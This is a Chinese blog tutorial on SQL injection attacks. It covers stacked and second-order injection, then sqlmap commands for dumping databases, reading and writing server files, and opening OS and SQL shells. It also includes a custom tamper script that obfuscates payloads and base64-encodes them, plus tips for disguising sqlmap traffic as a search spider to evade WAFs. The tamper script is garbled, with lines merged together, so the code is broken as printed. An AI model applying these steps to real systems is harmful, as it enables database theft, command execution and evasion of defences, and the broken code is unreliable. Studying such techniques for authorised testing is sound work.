当前位置: 首页 > news >正文

Web攻防-SQL注入二次攻击堆叠执行SQLMAPTamper编写指纹修改分析调试

知识点:
1、Web攻防-SQL注入-堆叠&二次注入
2、Web攻防-SQL注入-SQLMAP进阶使用

一、演示案例-WEB攻防-SQL注入-堆叠注入&二次注入

堆叠注入

堆叠注入触发的条件很苛刻,因为堆叠注入原理就是通过结束符同时执行多条sql语句,例如php中的mysqli_multi_query函数。与之相对应的mysqli_query()只能执行一条SQL,所以要想目标存在堆叠注入,在目标主机存在类似于mysqli_multi_query()这样的函数,根据数据库类型决定是否支持多条语句执行.
1、目标存在sql注入漏洞
2、目标未对";"号进行过滤
3、目标中间层查询数据库信息时可同时执行多条sql语句
支持堆叠数据库:MYSQL、MSSQL、Postgresql
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

二次注入

在这里插入图片描述

原理:注册(写入payload)-登录后修改-修改时以当前用户名为条件触发
黑盒思路:分析功能有添加后对数据操作的地方(功能点)
白盒思路:insert后进入select或update的功能的代码块
注入条件:插入时有转义函数或配置,后续有利用插入的数据

在这里插入图片描述

正常用户注册、登录、修改密码操作

在这里插入图片描述

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

在这里插入图片描述

二次注入

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

二、演示案例-WEB攻防-SQL注入-SQLMAP&Tamper使用

在这里插入图片描述

1、SqlMap使用

参考:https://www.cnblogs.com/bmjoker/p/9326258.html

2、数据猜解-常规数据获取&库表列数据&字典

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

获取当前数据库

--current-db

在这里插入图片描述
在这里插入图片描述

根据数据库名获取对应的表名

--tables -D "数据库名"

在这里插入图片描述
在这里插入图片描述

根据数据库名及表名获取对应的列名

--columns -T "表名" -D "数据库名"

在这里插入图片描述

获取具体的列名数据

--dump  -C "email,username" -T "表名" -D "数据库名"

在这里插入图片描述

跨库注入

--dbs //获取所有数据库名

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

3、高权限操作-文件&命令&交互式

引出权限大小

--is-dba 

在这里插入图片描述

引出文件-读

--file-read

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

引出文件-写

--file-write --file-dest

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

引出命令-执行命令

--os-cmd=whoami 

在这里插入图片描述
在这里插入图片描述

引出命令-交互式命令

--os-shell

在这里插入图片描述

引出命令-执行sql语句

--sql-shell

在这里插入图片描述

4、提交方法-POST&Cookie&JSON

对POST数据进行注入

 --data ""

在这里插入图片描述
在这里插入图片描述

对cookie数据进行注入

--cookie "" 

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

对整个数据包进行注入(推荐)

-r 1.txt 

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

5、绕过模块-Tamper脚本-使用&开发

在这里插入图片描述

测试:base64注入

--tamper=base64encode.py

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

测试:base64+json注入

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

测试:base64+json注入&再加有过滤的注入

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

--tamper=test.py

在这里插入图片描述

from lib.core.convert import encodeBase64
from lib.core.enums import PRIORITY__priority__ = PRIORITY.LOWdef dependencies():
passdef tamper(payload, **kwargs):if payload:
payload = payload.replace('SELECT','sElEct')
payload = payload.replace('select','sElEct')
payload = payload.replace('OR','Or')
payload = payload.replace('or','Or')
payload = payload.replace('AND','And')
payload = payload.replace('and','And')
payload = payload.replace('XOR','xOr')
payload = payload.replace('xor','xOr')
payload = payload.replace('SLEEP','SleeP')
payload = payload.replace('sleep','SleeP')
payload = payload.replace('ELT','Elt')return encodeBase64(payload, binary=False) if payload else payload

在这里插入图片描述
在这里插入图片描述

6、分析拓展-代理&调试&指纹&风险&等级

后期分析调试-显示调试信息

-v 0-6
0、只显示python错误以及严重的信息。
1、同时显示基本信息和警告信息。(默认)
2、同时显示debug信息。
3、同时显示注入的payload。
4、同时显示HTTP请求。
5、同时显示HTTP响应头。
6、同时显示HTTP响应页面。

后期分析调试-联动代理进行调试分析

--proxy "http://127.0.0.1:8080" 
--proxy=http://127.0.0.1:1080

在这里插入图片描述
在这里插入图片描述

打乱默认指纹-绕过流量设备识别sqlmap-自定义user-agent

User-Agent: Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www/baidu.com/search/spider.html)

打乱默认指纹-绕过流量设备识别sqlmap-随机user-agent

--random-agent

打乱默认指纹-绕过流量设备识别sqlmap-设定两个HTTP请求的间隔时间

--delay 默认是没有任何间隔,有waf的话,会直接拦截,因为sqlMAP在一瞬间发包量很大,WAF会认为是DD攻击,这个时候就可以利用这个参数绕过或者直接修改SQLMAP的user-agent

使用更多方式类型注入-执行的测试水平等级

--level 1-5
默认是1,cookie需要等级2,HTTP头注入要3以上才行,如果前三个等级都没有找到有效的注入点,可以考虑使用Level 4和Level 5进行更全面的探测。这些等级会使用更多的payload和复杂的注入技术,如联合查询注入、堆叠查询注入等

使用更多方式类型注入-执行的测试风险等级

--risk= 1-3
共有3个等级,对测试的语句有影响,默认为1 
http://www.lqws.cn/news/185149.html

相关文章:

  • 东莞SMT贴片厂核心生产技术解析
  • 通过跳板机连接远程主机
  • 【公益护航青春路】 “成长的秘密花园”青春期身心成长讲座走进校园
  • 设置应用程序图标
  • 02. java: 类与对象
  • DeepSeek 提示词大全
  • 森马下沙奥莱旗舰店盛大启幕:以“新常服“理念重塑消费体验新范式
  • NVIDIA Dynamo:数据中心规模的分布式推理服务框架深度解析
  • LangChain【7】之工具创建和错误处理策略
  • MongoDB慢查询临时开启方法讲解
  • IBM官网新闻爬虫代码示例
  • 前端删除评论操作(局部更新数组)
  • 管家婆财贸软件反月结存详细操作流程
  • 三台战略驱动未来平台化发展:开发、开放与业务的协同演进
  • AT2659_GNSS低噪声放大器芯片
  • Typeerror: cannot read properties of undefined (reading ‘XXX‘)
  • 【学习分享】shell基础-运算符
  • ai流式文字返回前端和php的处理办法
  • 网络编程之服务器模型与UDP编程
  • 【Linux跬步积累】—— 网络编程套接字(二)
  • k8s入门教程(集群部署、使用,镜像拉取失败网络问题排查)
  • VTK|8.2.0升级到9.4.2遇到的问题及解决方法
  • 上市公司数字化转型分析报告_本报告基于CSMAR数据库中的企业数字化转型相关数据,使用Python对A股上市公司数字化转型情况进行全面分析
  • elasticsearch基本操作笔记
  • 02 nginx 的环境搭建
  • 12.5Swing控件3Jpanel JOptionPane
  • 机器学习笔记【Week7】
  • MS8258D 高增益带宽积 FET 输入放大器/激光雷达接收跨阻放大器
  • 【Linux】文件操作
  • SpringAI 1.0.0 正式版——利用Redis存储会话(ChatMemory)